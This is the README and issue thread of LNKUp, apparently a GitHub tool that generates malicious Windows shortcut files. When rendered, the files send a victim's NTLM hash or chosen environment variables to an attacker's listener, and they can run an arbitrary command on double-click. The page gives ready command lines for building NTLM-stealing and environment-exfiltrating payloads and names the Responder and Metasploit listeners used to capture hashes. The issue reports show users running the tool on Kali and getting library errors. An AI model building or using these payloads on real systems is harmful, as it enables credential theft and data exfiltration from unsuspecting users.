plazmaz / lnkup

Generates malicious LNK file payloads for data exfiltration

LNKUp

LNK Data exfiltration payload generator

This tool will allow you to generate LNK payloads. Upon rendering or being run, they will exfiltrate data.

Info

I am not responsible for any actions you take with this tool!
You can contact me with any questions by opening an issue, or via my Twitter, @Plazmaz.

Known gotchas

• This tool will not work on OSX or Linux machines. It is specifically designed to target windows.
• There may be issues with icon caching in some situations. If your payload doesn't execute after the first time, try regenerating it.
• You will need to run a responder or metasploit module server to capture NTLM hashes.
• To capture environment variables, you'll need to run a webserver like apache, nginx, or even just this

Installation

Install requirements using
pip install -r requirements.txt

Usage

Payload types:

• NTLM
  • Steals the user's NTLM hash when rendered.
  • Needs listener server such as this metasploit module
  • More on NTLM hashes leaking: https://dylankatz.com/NTLM-Hashes-Microsoft's-Ancient-Design-Flaw/
  • Example usage:
    lnkup.py --host localhost --type ntlm --output out.lnk
• Environment
  • Steals the user's environment variables.
  • Examples: %PATH%, %USERNAME%, etc
  • Requires variables to be set using --vars
  • Example usage:
    lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk

Extra:

• Use --execute to specify a command to run when the shortcut is double clicked
  • Example:
    lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s"

lnkup's Issues

issue with pylnk

Have installed liblnk-20200810, trying to run LNKUp on the latest version of Kali (2020.4) and encountering the following errors.
cmd: (python v3.9.1+)
python3 http://generate.py --host (myIP) --type ntlm --output out.lnk
Error:
Traceback (most recent call last):
File "/home/rory/LNKUp-master/generate.py", line 169, in
main(args=cmd_line_args)
File "/home/rory/LNKUp-master/generate.py", line 120, in main
link = for_file(r'C:\Windows\System32\cmd.exe', filepath)
File "/home/rory/LNKUp-master/generate.py", line 151, in for_file
return pylnk.from_segment_list(elements, lnk_name)
File "/usr/lib/python3/dist-packages/pylnk.py", line 1754, in from_segment_list
entries.append(DriveEntry(drive))
File "/usr/lib/python3/dist-packages/pylnk.py", line 488, in init
m = _DRIVE_PATTERN.match(drive.strip())
TypeError: cannot use a string pattern on a bytes-like object

cmd: (python v2.7.18)
python generate.py --host (myIP) --type ntlm --output out.lnk
error:
Traceback (most recent call last):
File "generate.py", line 169, in
main(args=cmd_line_args)
File "generate.py", line 120, in main
link = for_file(r'C:\Windows\System32\cmd.exe', filepath)
File "generate.py", line 140, in for_file
lnk = pylnk.create(lnk_name)
AttributeError: 'module' object has no attribute 'create'

AttributeError: module 'pylnk' has no attribute 'create'

Hi,

I get this error when I run it, how do I solve it?

Things I've tried:

-> pip install liblnk-python
-> pip install pylnk

---

┌──(kali㉿kali)-[~/…/machine/practice/vault/LNKUp]
└─$ python3 generate.py --host 192.168.159.172 --type ntlm --output out.lnk

==================================================

/$$ /$$ /$$ /$$ /$$ /$$ /$$

| $$ | $$$ | $$| $$ /$$/| $$ | $$

| $$ | $$$$| $$| $$ /$$/ | $$ | $$ /$$$$$$

| $$ | $$ $$ $$| $$$$$/ | $$ | $$ /$$__ $$

| $$ | $$ $$$$| $$ $$ | $$ | $$| $$ \ $$

| $$ | $$\ $$$| $$\ $$ | $$ | $$| $$ | $$

| $$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$/| $$$$$$$/

|/|/ __/|/ __/ __/ | $$____/

| $$

| $$

|__/

==================================================

Traceback (most recent call last):
File "/home/kali/Desktop/machine/practice/vault/LNKUp/generate.py", line 169, in
main(args=cmd_line_args)
File "/home/kali/Desktop/machine/practice/vault/LNKUp/generate.py", line 120, in main
link = for_file(r'C:\Windows\System32\cmd.exe', filepath)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/kali/Desktop/machine/practice/vault/LNKUp/generate.py", line 140, in for_file
lnk = pylnk.create(lnk_name)
^^^^^^^^^^^^
AttributeError: module 'pylnk' has no attribute 'create'

---